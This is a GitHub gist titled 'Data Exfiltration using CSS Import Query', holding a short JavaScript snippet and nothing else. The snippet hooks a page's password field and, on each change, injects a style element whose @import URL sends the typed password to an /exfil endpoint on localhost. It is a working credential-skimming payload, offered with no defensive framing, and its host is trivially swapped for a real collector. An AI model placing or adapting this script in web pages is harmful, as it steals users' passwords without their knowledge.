Skip to content

Instantly share code, notes, and snippets.

@Den1al
Created July 16, 2020 07:47
Show Gist options
  • Save Den1al/fd55320d61bc39979fa80099f4da30d1 to your computer and use it in GitHub Desktop.
Save Den1al/fd55320d61bc39979fa80099f4da30d1 to your computer and use it in GitHub Desktop.
Data Exfiltration using CSS Import Query
document
.querySelector(`input[type="password"]`)
.addEventListener("change", evt => {
let style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = `@import url("http://localhost:8080/exfil?a=${evt.target.value}")`;
document.getElementsByTagName('head')[0].appendChild(style);
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment